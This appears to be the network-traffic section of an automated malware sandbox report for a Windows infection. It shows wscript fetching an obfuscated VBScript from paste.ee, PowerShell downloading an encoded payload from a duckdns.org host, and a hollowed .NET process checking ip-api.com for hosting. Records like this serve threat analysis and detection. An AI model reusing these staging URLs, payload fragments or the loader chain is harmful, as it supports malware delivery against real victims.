Oct 24, 2024 08:52:46.016347885 CEST	1236	IN	Data Raw: 6e 00 20 00 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 62 00 69 00 73 00 73 00 65 00 78 00 75 00 61 00 6c 00 6d 00 65 00 6e 00 74 00 65 00 2c 00 20 00 6d 00 6f 00 6e 00 61 00 7a 00 69 00 74 00 65 00 2c 00 Data Ascii: n ReplaceString(bissexualmente, monazite, vender) Dim ressuar ressuar = InStr(bissexualmente, monazite)
Oct 24, 2024 08:52:46.016366005 CEST	14	IN	Data Raw: 63 00 74 00 69 00 6f 00 6e 00 0d 00 0a 00 Data Ascii: ction

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	188.114.96.3	80	3640	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:52:46.478975058 CEST	173	OUT	GET /d/nwtkd HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
Oct 24, 2024 08:52:47.163486004 CEST	788	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 24 Oct 2024 06:52:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://paste.ee/d/nwtkd cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X8ZdG%2FTxlbtxVnlhQAyedhri6480jTxFVmCTUIczcocULBfRBpWaPWVdTizfdeYfbWPqRr0BOjZM6twUwv1tNVaBK%2BZCgdtgSUdRL%2F%2BPUoAr09OStwJEEPgMpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d780bc9df09e7d7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1286&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=173&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Oct 24, 2024 08:52:47.163535118 CEST	182	IN	Data Raw: 61 62 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 Data Ascii: ab<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49168	198.46.178.134	80	3808	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:53:07.928142071 CEST	108	OUT	GET /equitosssssssdroidlatest.txt HTTP/1.1 Host: wednesdayyyyyyfile.duckdns.org Connection: Keep-Alive
Oct 24, 2024 08:53:08.611896038 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Wed, 23 Oct 2024 16:41:08 GMT Accept-Ranges: bytes ETag: "8b4d445c6a25db1:0" Server: Microsoft-IIS/10.0 Date: Thu, 24 Oct 2024 06:53:08 GMT Content-Length: 327680 Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIDMAAAAMAwAQDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoQD+kHbi1WZzNXYvwj
Oct 24, 2024 08:53:08.611943960 CEST	1236	IN	Data Raw: 43 4e 34 7a 62 6d 35 57 53 30 4e 58 64 79 52 33 4c 38 41 43 49 4b 30 67 50 35 52 58 61 79 56 33 59 6c 4e 33 4c 38 41 43 49 67 41 69 43 4e 34 7a 63 6c 64 57 5a 73 6c 6d 64 70 4a 48 55 6b 56 47 64 7a 56 57 64 78 56 6d 63 76 77 44 49 67 41 43 49 67 Data Ascii: CN4zbm5WS0NXdyR3L8ACIK0gP5RXayV3YlN3L8ACIgAiCN4zcldWZslmdpJHUkVGdzVWdxVmcvwDIgACIgAiCN4zLiU2csFmZi0zczV2YjFUa1BiIyV2avZnbJNXYi0DblZXZsBCblZXZM52bpRXdjVGeFRWZ0NXZ1FXZyxDIgACIgACIgoQD+IyM25SbzFmOt92YtQnZvN3byNWat1ych1WZoN2c64mc1JSPz5GbthHIzV2Zlx
Oct 24, 2024 08:53:08.611958027 CEST	1236	IN	Data Raw: 41 42 42 41 49 41 34 43 41 75 42 77 62 41 6b 47 41 30 42 51 59 41 51 47 41 75 42 51 64 41 38 47 41 47 42 41 49 41 55 47 41 79 42 51 59 41 63 48 41 30 42 67 5a 41 38 47 41 54 42 41 49 41 34 47 41 76 42 41 61 41 51 48 41 35 42 41 55 41 41 43 41 70 Data Ascii: ABBAIA4CAuBwbAkGA0BQYAQGAuBQdA8GAGBAIAUGAyBQYAcHA0BgZA8GATBAIA4GAvBAaAQHA5BAUAACApAwYAgCAgAAdAgGAnBQaAIHA5BAcA8GADBAAAQHAoBwZAkGAyBQeAAHAvBwQAwGAhBwZAUGAMBQAA8DAkCAAAAAAlBAeAUGAuAgZAkDAyAAMAADA5AQYAQDAhBQMAQDAkBQLAIGAjBQYAkDAtAQZAUDA5AANA0CAzA
Oct 24, 2024 08:53:08.611975908 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:53:08.611989975 CEST	848	IN	Data Raw: 41 48 67 41 43 49 55 51 48 42 4d 41 49 48 67 51 55 53 55 51 48 74 4d 6f 45 45 63 67 43 56 4d 6f 45 42 43 6f 45 52 4a 52 41 44 41 79 43 46 4d 59 45 70 4d 59 45 70 4d 59 45 42 4d 41 49 4d 55 79 67 53 6b 78 67 53 45 41 41 49 45 78 67 53 59 41 42 49 Data Ascii: AHgACIUQHBMAIHgQUSUQHtMoEEcgCVMoEBCoERJRADAyCFMYEpMYEpMYEBMAIMUygSkxgSEAAIExgSYABIgQACASBdMYEAASBhMoEAAQBKExgSEgAgcQDDKRHAAiBFCoEAAQBI0xgR0xgR0xgR0xgRkhEZIRGDKRFDKRgAKREDKRDDKRCDKRBDGhDHgCCI0hEF0BBHgAHCEAAEgQYBKhDJLoEOkvgSYwBO4QADKRAgYQ/CKBAgU
Oct 24, 2024 08:53:08.612004995 CEST	1236	IN	Data Raw: 43 49 67 51 42 64 67 51 42 64 34 67 44 4f 49 51 58 53 55 68 4b 48 6b 31 41 47 49 41 43 64 47 6f 45 42 49 41 49 48 67 77 41 64 6b 70 67 53 6b 71 67 53 55 51 48 46 30 52 42 64 55 51 48 46 30 68 44 4b 63 67 46 49 51 62 67 52 49 77 42 47 67 51 42 64 Data Ascii: CIgQBdgQBd4gDOIQXSUhKHk1AGIACdGoEBIAIHgwAdkpgSkqgSUQHF0RBdUQHF0hDKcgFIQbgRIwBGgQBdUQHF0R5BKRBdUQHtIoEIcwEDUQAAQACF0RBdUQHF0RqCKBCIUQHF0RBdkpgSUQHlKoEOcgHNgQAAQACF0RBdUQHF0RBdUQHF0RBdgACIgQBdgACIggDhERBdggFHMCCF0RCCAgBIAUgSAUgS4gDF0BCOgACIggDIk
Oct 24, 2024 08:53:08.612016916 CEST	212	IN	Data Raw: 65 42 4b 42 57 42 4b 52 42 64 34 67 44 41 46 6f 45 42 30 6b 45 56 63 78 42 76 67 51 78 42 4b 52 41 67 59 41 43 49 34 51 48 41 46 6f 45 4f 34 51 42 64 55 51 48 41 47 6f 45 4f 55 51 48 46 30 42 67 42 4b 68 44 4f 34 41 43 34 46 6f 45 39 48 6f 45 56 Data Ascii: eBKBWBKRBd4gDAFoEB0kEVcxBvgQxBKRAgYACI4QHAFoEO4QBdUQHAGoEOUQHF0BgBKhDO4AC4FoE9HoEVGoEOUQHOAUgSEQTSUBGHIDC5JRECKRxBKhDB0kEVUwBQ4gDCEWEVYgDOIQYRURA5DYEVsgDOIQYRURANJRFKggDOIQYRURA5DYEVUQHAGoEAGoEF0RBdAYgSgXgS4gDCEW
Oct 24, 2024 08:53:08.612034082 CEST	1236	IN	Data Raw: 45 56 51 56 67 53 55 51 48 4f 55 51 48 46 30 52 42 64 55 51 48 46 30 52 42 64 55 51 48 41 47 6f 45 46 30 42 57 42 4b 68 44 41 47 6f 45 34 46 6f 45 46 30 52 42 64 67 56 67 53 55 51 48 65 63 67 55 49 55 51 48 51 47 6f 45 46 30 52 66 43 4b 52 42 64 Data Ascii: EVQVgSUQHOUQHF0RBdUQHF0RBdUQHAGoEF0BWBKhDAGoE4FoEF0RBdgVgSUQHecgUIUQHQGoEF0RfCKRBdUQHHcQEIUQHF0RBdUQHF0RBdUQHIUQHF0RBdwwBYgACO0hDB0kEV4gDB0kEVYwBRgQBd4gDF0RBdwYgSUQHF0RCHIhD9HoEBAiB5JYEOEgAgcAC5JRECKRBdUQHFHoE9HoEF0hDJcQFIggDdAUgSUQHI4gDOgVgS4
Oct 24, 2024 08:53:08.612047911 CEST	1236	IN	Data Raw: 45 42 30 6b 45 56 41 55 67 53 34 67 44 4f 34 41 43 51 47 6f 45 59 46 6f 45 46 30 52 42 64 41 55 67 53 45 51 54 53 55 68 44 4f 63 41 4a 49 55 51 48 49 49 41 41 47 45 6c 45 42 45 41 49 46 30 6c 67 52 6b 65 67 53 45 6c 45 42 4d 41 49 4c 67 51 72 42 Data Ascii: EB0kEVAUgS4gDO4ACQGoEYFoEF0RBdAUgSEQTSUhDOcAJIUQHIIAAGElEBEAIF0lgRkegSElEBMAILgQrBKRWCKR6BKRGSUfgS4Q5BKBCHUBCAFoEB0kEVAUgS4gDO4gDOgAWBKhDOAUgSEQTSUhDHACCF0hBCAgBIUQHBAQBI4ACIUQHF0hBHoACO4gAZHYEV4gDC0lEV4gAZHYEV4AQBKhDQFoEOAUgSEQTSURCHYCCdGoEdG
Oct 24, 2024 08:53:08.612062931 CEST	1236	IN	Data Raw: 44 64 41 55 67 53 34 67 44 64 34 67 44 64 34 67 44 64 34 67 44 4f 41 55 67 53 45 51 54 53 55 68 44 54 63 41 4a 44 30 52 41 42 41 53 42 44 67 51 41 67 51 41 43 49 67 41 43 44 30 42 43 49 63 77 42 4b 77 42 48 63 34 77 41 41 59 41 48 64 34 51 41 41 Data Ascii: DdAUgS4gDd4gDd4gDd4gDOAUgSEQTSUhDTcAJD0RABASBDgQAgQACIgACD0BCIcwBKwBHc4wAAYAHd4QAAUACc0BHdggDdggDd4QHO0hDI4gDd4QHOEQTSUxDH0BAeEQgBKRFA4RHBEAENggDOIQXSUhDCkdgRUhDBkPgRUBQBKRANJRFAFoEOAVgS4QHO4QANJRFAFoEB0kEVswByUigR4ACCAyBA4RABGoEVAgHB0kEVEQAQA
Oct 24, 2024 08:53:08.619548082 CEST	1236	IN	Data Raw: 67 53 34 67 41 5a 48 59 45 56 6b 41 51 42 4b 68 44 43 55 64 67 53 55 52 43 4f 34 67 41 64 4a 52 46 47 34 67 44 43 30 6c 45 56 34 67 41 5a 48 59 45 56 77 51 41 54 41 77 45 43 6b 64 67 52 55 42 41 67 73 67 44 4f 49 51 58 53 55 68 44 43 55 64 67 53 Data Ascii: gS4gAZHYEVkAQBKhDCUdgSURCO4gAdJRFG4gDC0lEV4gAZHYEVwQATAwECkdgRUBAgsgDOIQXSUhDCUdgSUBDBMBATIQ1BKRFAAyCAFoEOIQXSUBCIAUgS4gAhHYEVMQHAFoEOIQ2BGRFO4gAdJRFOIQ2BGRFAFoEAFoEF0hDOggDdAUgSAUgS4gDOAUgS4gAdJRFQFoEO4gDO4AQBKRANJRFZcAUI0cgSEAIGkcgSAAIF4QxBK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49169	208.95.112.1	80	3940	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:53:10.095597982 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Oct 24, 2024 08:53:10.690785885 CEST	174	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:53:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true
Oct 24, 2024 08:53:10.900126934 CEST	174	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:53:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	188.114.96.3	443	3640	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:52:47 UTC	173	OUT	GET /d/nwtkd HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
2024-10-24 06:52:48 UTC	1234	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:52:48 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x%2ByA0ifcnpqnfTjOMqO9wJ76IuUDdLeWRveC9jIPH6u3rEHMaz%2BFDGR2qCEZQp8w5JgE1EJCAswYYNUIa3ni708bP0nQnd8jybHeyJHDkU5Xime%2BkIeA%2FyOwBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d780bcfde712c8f-DFW alt-svc: h3=":443"; ma=86400
2024-10-24 06:52:48 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 32 36 31 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 37 38 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 32 35 32 30 35 33 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 66 30 63 33 34 34 30 66 65 66 37 37 64 36 32 63 26 74 73 3d 34 32 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=2261&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=787&delivery_rate=1252053&cwnd=251&unsent_bytes=0&cid=f0c3440fef77d62c&ts=427&x=0"
2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 66 37 66 0d 0a 70 72 69 76 61 74 65 20 66 75 6e 63 74 69 6f 6e 20 43 72 65 61 74 65 53 65 73 73 69 6f 6e 28 77 73 6d 61 6e 2c 20 63 6f 6e 53 74 72 2c 20 6f 70 74 44 69 63 2c 20 6d 61 6c 61 6e 64 72 69 6d 29 0d 0a 20 20 20 20 64 69 6d 20 74 75 70 69 61 46 6c 61 67 73 0d 0a 20 20 20 20 64 69 6d 20 63 6f 6e 4f 70 74 20 0d 0a 20 20 20 20 64 69 6d 20 74 75 70 69 61 0d 0a 20 20 20 20 64 69 6d 20 61 75 74 68 56 61 6c 0d 0a 20 20 20 20 64 69 6d 20 65 6e 63 6f 64 69 6e 67 56 61 6c 0d 0a 20 20 20 20 64 69 6d 20 65 6e 63 72 79 70 74 56 61 6c 0d 0a 20 20 20 20 64 69 6d 20 70 77 0d 0a 20 20 20 20 64 69 6d 20 74 6f 75 74 0d 0a 20 20 20 20 27 20 70 72 6f 78 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0d 0a 20 20 20 20 64 69 6d 20 70 72 6f 78 79 41 63 63 65 73 73 54 79 70 65 Data Ascii: f7fprivate function CreateSession(wsman, conStr, optDic, malandrim) dim tupiaFlags dim conOpt dim tupia dim authVal dim encodingVal dim encryptVal dim pw dim tout ' proxy information dim proxyAccessType
2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 41 72 67 75 6d 65 6e 74 45 78 69 73 74 73 28 4e 50 41 52 41 5f 52 45 4d 4f 54 45 29 2c 20 20 20 20 20 22 54 68 65 20 27 2d 22 20 26 20 4e 50 41 52 41 5f 55 4e 45 4e 43 52 59 50 54 45 44 20 26 20 22 27 20 6f 70 74 69 6f 6e 20 69 73 20 6f 6e 6c 79 20 76 61 6c 69 64 20 77 68 65 6e 20 75 73 65 64 20 77 69 74 68 20 74 68 65 20 27 2d 72 65 6d 6f 74 65 27 20 6f 70 74 69 6f 6e 22 0d 0a 20 20 20 20 20 20 20 20 27 43 20 41 50 49 20 77 69 6c 6c 20 65 6e 73 75 72 65 20 74 68 61 74 20 75 6e 65 6e 63 72 79 70 74 65 64 20 69 73 20 6f 6e 6c 79 20 75 73 65 64 20 77 2f 20 68 74 74 70 0d 0a 20 20 20 20 20 20 20 20 74 75 70 69 61 46 6c 61 67 73 20 3d 20 74 75 70 69 61 46 6c 61 67 73 20 4f 52 20 77 73 6d 61 6e 2e 53 65 73 73 69 6f 6e 46 6c 61 67 4e 6f 45 6e 63 72 79 70 74 69 Data Ascii: ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option" 'C API will ensure that unencrypted is only used w/ http tupiaFlags = tupiaFlags OR wsman.SessionFlagNoEncrypti
2024-10-24 06:52:48 UTC	1236	IN	Data Raw: 45 52 4e 41 4d 45 29 2c 20 22 54 68 65 20 27 2d 22 20 26 20 4e 50 41 52 41 5f 55 53 45 52 4e 41 4d 45 20 26 20 22 27 20 6f 70 74 69 6f 6e 20 6d 75 73 74 20 62 65 20 73 70 65 63 69 66 69 65 64 20 66 6f 72 20 27 2d 61 75 74 68 3a 62 61 73 69 63 27 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 53 53 45 52 54 42 4f 4f 4c 20 6e 6f 74 20 6f 70 74 44 69 63 2e 41 72 67 75 6d 65 6e 74 45 78 69 73 74 73 28 4e 50 41 52 41 5f 43 45 52 54 29 2c 20 22 54 68 65 20 27 2d 22 20 26 20 4e 50 41 52 41 5f 43 45 52 54 20 26 20 22 27 20 6f 70 74 69 6f 6e 20 69 73 20 6e 6f 74 20 76 61 6c 69 64 20 66 6f 72 20 27 2d 61 75 74 68 3a 62 61 73 69 63 27 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 75 70 69 61 46 6c 61 67 73 20 3d 20 74 75 70 69 61 46 6c 61 Data Ascii: ERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'" ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'" tupiaFlags = tupiaFla
2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 74 73 28 4e 50 41 52 41 5f 43 45 52 54 29 2c 20 22 54 68 65 20 27 2d 22 20 26 20 4e 50 41 52 41 5f 43 45 52 54 20 26 20 22 27 20 6f 70 74 69 6f 6e 20 69 73 20 6e 6f 74 20 76 61 6c 69 64 20 66 6f 72 20 27 2d 61 75 74 68 3a 6e 65 67 6f 74 69 61 74 65 27 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 75 70 69 61 46 6c 61 67 73 20 3d 20 74 75 70 69 61 46 6c 61 67 73 20 4f 52 20 77 73 6d 61 6e 2e 53 65 73 73 69 6f 6e 46 6c 61 67 55 73 65 4e 65 67 6f 74 69 61 74 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 56 41 4c 5f 43 45 52 54 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 2d 63 65 72 74 69 66 69 63 61 74 65 20 69 73 20 6d 61 6e 64 61 74 6f 72 79 2e 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 4000ts(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'" tupiaFlags = tupiaFlags OR wsman.SessionFlagUseNegotiate case VAL_CERT '-certificate is mandatory.
2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 64 55 73 65 72 6e 61 6d 65 50 61 73 73 77 6f 72 64 20 4f 52 20 77 73 6d 61 6e 2e 53 65 73 73 69 6f 6e 46 6c 61 67 55 73 65 43 72 65 64 53 53 50 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 65 6c 73 65 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 53 53 45 52 54 42 4f 4f 4c 20 66 61 6c 73 65 2c 20 22 54 68 65 20 73 70 65 63 69 66 69 65 64 20 27 2d 22 20 26 20 4e 50 41 52 41 5f 41 55 54 48 20 26 20 22 27 20 66 6c 61 67 20 27 22 20 26 20 61 75 74 68 56 61 6c 20 26 20 22 27 20 68 61 73 20 61 6e 20 69 6e 76 61 6c 69 64 20 76 61 6c 75 65 2e 22 0d 0a 20 20 20 20 20 20 20 20 65 6e 64 20 73 65 6c 65 63 74 0d 0a 20 20 20 20 65 6e 64 20 69 66 0d 0a 20 20 20 0d 0a 20 20 20 20 69 66 20 6f 70 74 44 69 63 2e 41 72 67 75 6d 65 6e 74 45 78 69 73 Data Ascii: dUsernamePassword OR wsman.SessionFlagUseCredSSP case else ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value." end select end if if optDic.ArgumentExis
2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 75 72 65 20 74 68 69 73 20 69 73 20 6f 6e 6c 79 20 75 73 65 64 20 77 2f 20 68 74 74 70 73 0d 0a 20 20 20 20 20 20 20 20 74 75 70 69 61 46 6c 61 67 73 20 3d 20 74 75 70 69 61 46 6c 61 67 73 20 4f 52 20 77 73 6d 61 6e 2e 53 65 73 73 69 6f 6e 46 6c 61 67 41 6c 6c 6f 77 4e 65 67 6f 74 69 61 74 65 49 6d 70 6c 69 63 69 74 43 72 65 64 65 6e 74 69 61 6c 73 0d 0a 20 20 20 20 65 6e 64 20 69 66 0d 0a 20 20 20 20 0d 0a 20 20 20 20 69 66 20 6f 70 74 44 69 63 2e 41 72 67 75 6d 65 6e 74 45 78 69 73 74 73 28 4e 50 41 52 41 5f 43 45 52 54 29 20 74 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 41 53 53 45 52 54 42 4f 4f 4c 20 6e 6f 74 20 6f 70 74 44 69 63 2e 41 72 67 75 6d 65 6e 74 45 78 69 73 74 73 28 4e 50 41 52 41 5f 55 53 45 52 4e 41 4d 45 29 2c 20 22 54 68 65 20 27 2d 22 20 Data Ascii: ure this is only used w/ https tupiaFlags = tupiaFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials end if if optDic.ArgumentExists(NPARA_CERT) then ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-"
2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 65 73 73 54 79 70 65 20 3d 20 63 6f 6e 4f 70 74 2e 50 72 6f 78 79 49 45 43 6f 6e 66 69 67 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 56 41 4c 5f 50 52 4f 58 59 5f 57 49 4e 48 54 54 50 5f 43 4f 4e 46 49 47 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 72 6f 78 79 41 63 63 65 73 73 54 79 70 65 20 3d 20 63 6f 6e 4f 70 74 2e 50 72 6f 78 79 57 69 6e 48 74 74 70 43 6f 6e 66 69 67 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 56 41 4c 5f 50 52 4f 58 59 5f 41 55 54 4f 44 45 54 45 43 54 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 72 6f 78 79 41 63 63 65 73 73 54 79 70 65 20 3d 20 63 6f 6e 4f 70 74 2e 50 72 6f 78 79 41 75 74 6f 44 65 74 65 63 74 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 56 41 4c 5f 50 Data Ascii: essType = conOpt.ProxyIEConfig case VAL_PROXY_WINHTTP_CONFIG proxyAccessType = conOpt.ProxyWinHttpConfig case VAL_PROXY_AUTODETECT proxyAccessType = conOpt.ProxyAutoDetect case VAL_P
